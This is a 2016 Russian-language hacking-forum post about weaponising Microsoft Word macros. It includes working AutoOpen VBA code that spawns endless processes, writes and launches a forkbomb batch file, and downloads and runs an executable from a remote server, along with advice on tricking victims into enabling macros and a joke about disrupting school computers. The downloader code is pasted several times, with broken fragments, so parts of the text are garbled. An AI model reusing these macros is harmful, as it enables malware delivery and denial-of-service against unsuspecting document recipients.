1. Теперь за форумную активность начисляются биткоины и другие криптоденьги. Подробнее.
    Скрыть объявление
  2. Появилась архивная версия форума arhiv.xaker.name, где собраны темы с 2007 по 2012 год.
    Скрыть объявление

Опасность — Documents Microsoft Word

Тема в разделе "Поиск и эксплуатация уязвимостей", создана пользователем Сашка Суралмашка, 18 дек 2016.

  1. Сашка Суралмашка
    Симпатии:
    0
    В офисных документах Microsoft Word есть такая вещь как «макрос», который реализуется в Visual Basic для приложений, сокращёно VBA это язык программирования. VBA — это почти такой же основной визуальыйн язык, отличие только в том, что VB компилируется в исполняемый файл, а VBA нужен документ как носитель.
    В моей предыдущей статье, я проанализировал .SVG изображения, котоыре используются в распространённых вредоносных программах. Изображения .SVG используют встроенный JavaScript, который работает в браузере, что создаёт некоторые оганичения. Таким образом VBA, так как работает как исполнемый файл, имеет больше разрешений.
    Немного социальной инженерии необходимо, чтобы будущий потерпевший нажал кнопку включить, но я не думаю, что уговорить обычного пользователя сложно. Эта кнопка загружает и запускает скрипты. Нажав на кнопку включается содержимое достаточное для обеспечения устанвоки. Очень часто социальная инженерия делает фокус, суть которого в том, чтобы использовать универсальный вариант от Microsoft: включить макросы для просмотра содержимого.
    Visual Basic — это на самом деле мощный язык программирования, я лично видел основные инстурменты удалённого администрирования написанные в Visual Basic. Однако, добавление такого вредоносного кода в документ, значительно увеличи тего размер. Кроме того, отсоединение от носителя документа является предпочтительным из-за некоторых ограничений. Следовательно загрузчик более подходит для хакеров. Кроме того, измнение нагрузки тоже возможно, потому что это делается на стороне сервера.


    Простая шалость для демонстрации.
    Это, как если бы Вы просматривали и записывали макросы: открыть документ -> View -> Macros.


    Если мы выбираем записать макрос, то мы имеем возможность назначить макрос на кнопку клавиатуры.

    Но мы собираемся выбрать AutoOpen() вариант, так что мы не нуждаемся в этом, наш скрипт может выполнять только команды макросов. Например, этот скрипт открывает калькулятор при открытии документы.
    Sub AutoOpen()

    Shell («C:\Windows\system32\calc.exe»)

    End Sub
    Он будет просить разрешения, включая содержимое, только впервый раз. Он выполняется, а мы можем добавить бесконечный цикл, чтобы скрипт постоянно открывал всё новые и новые и новые калькуляторы.

    Sub AutoOpen()

    Do While true

    Shell(«C:\Windows\system32\calc.exe»)

    Loop

    End Sub

    Он остановится, как только закрыт документ, это легко и понятно. Этот скрипт создаёт запускает Forkbomb.bat, это кона баш скрипта, который выполнет некоторые команды, терминала. Forkbomb.bat начинается с двух копий, затем процесс станвоится интереснее, происходит экспоненциальный рост.

    Sub AutoOpen()

    Shell(«cmd.exe /S /K» & «echo %0^|%0 > forkbomb.bat»)

    Shell(«cmd.exe /S /K» & «forkbomb.bat»)

    End Sub

    Который полностью истощает ресурсы компьютера, что становитяс причиной невозможности использования компьютера, что вызывает принудительную перезагрузку, которая необходима, и она убивает его.



    Вы ожидали чего то подобного? Вы можете продлить скрипт, чтобы запускать его, когда пк включился, и сразу начинать его засорять, выходом из этой ситуации будет только загрузка компьютера в безопасном режиме. Чую, кому-то будет весело на уроках информатики.

    Скачать VBA и запустить файл при открытии

    Sub AutoOpen()

    Dim xHttp: Set xHttp = CreateObject(«Microsoft.XMLHTTP»)

    Dim bStrm: Set bStrm = CreateObject(«Adodb.Stream»)

    xHttp.Open «GET», «http:///», False

    xHttp.Send

    With bStrm

    .Type = 1 ‘//binary

    .Open

    .write xHttp.responseBody

    .savetofile «file.exe», 2 ‘//overwrite

    End With

    Shell(«cmd.exe /S /K» & «file.exe»)

    End Sub

    Dim xHttp: Set xHttp = CreateObject(«Microsoft.XMLHTTP»)

    Dim bStrm: Set bStrm = CreateObject(«Adodb.Stream»)

    xHttp.Open «GET», «http:///», False

    xHttp.Send

    With bStrm

    .Type = 1 ‘//binary

    .Open

    .write xHttp.responseBody

    .savetofile «file.exe», 2 ‘//overwrite

    End With

    Shell(«cmd.exe /S /K» & «file.exe»)

    End Sub

    Dim xHttp: Set xHttp = CreateObject(«Microsoft.XMLHTTP»)

    Dim bStrm: Set bStrm = CreateObject(«Adodb.Stream»)

    xHttp.Open «GET», «http:///», False

    xHttp.Send

    With bStrm

    .Type = 1 ‘//binary

    .Open

    .write xHttp.responseBody

    .savetofile «file.exe», 2 ‘//overwrite

    End With

    Shell(«cmd.exe /S /K» & «file.exe»)

    End Sub

    Sub AutoOpen()

    Dim xHttp: Set xHttp = CreateObject(«Microsoft.XMLHTTP»)

    Dim bStrm: Set bStrm = CreateObject(«Adodb.Stream»)

    xHttp.Open «GET», «http:///», False

    xHttp.Send

    With bStrm

    .Type = 1 ‘//binary

    .Open

    .write xHttp.responseBody

    .savetofile «file.exe», 2 ‘//overwrite

    End With

    Shell(«cmd.exe /S /K» & «file.exe»)

    End Sub

    Dim xHttp: Set xHttp = CreateObject(«Microsoft.XMLHTTP»)

    Dim bStrm: Set bStrm = CreateObject(«Adodb.Stream»)

    xHttp.Open «GET», «http:///», False

    xHttp.Send

    With bStrm

    .Type = 1 ‘//binary

    .Open

    .write xHttp.responseBody

    .savetofile «file.exe», 2 ‘//overwrite

    End With

    Shell(«cmd.exe /S /K» & «file.exe»)

    End Sub

    Dim xHttp: Set xHttp = CreateObject(«Microsoft.XMLHTTP»)

    Dim bStrm: Set bStrm = CreateObject(«Adodb.Stream»)

    xHttp.Open «GET», «http:///», False

    xHttp.Send

    With bStrm

    .Type = 1 ‘//binary

    .Open

    .write xHttp.responseBody

    .savetofile «file.exe», 2 ‘//overwrite

    End With

    Shell(«cmd.exe /S /K» & «file.exe»)

    End Sub

    Простейшая загрузка скрипта, выполнит свою задачу простым путём включения содержимого документа.
    Использование облочки file.exe, вызовет ошибку разрешения на Windows 10 в Word 2010. Однако, если я использую этот метод для моей бомбы

    Shell(«cmd.exe /S /K» & «file.exe»)
    Программа загрузится нормально.

    Заключение.
    Макросы для Word немного ограничены визуально и в основе исполняемых файлов. С некоторой хитростью, его можно использовать для взлома системы, путём загрузки и выполнения «реального» файла ехе, макросы так же опасны, как и исполняемые файлы!
     
    18 дек 2016

Поделиться этой страницей

Загрузка...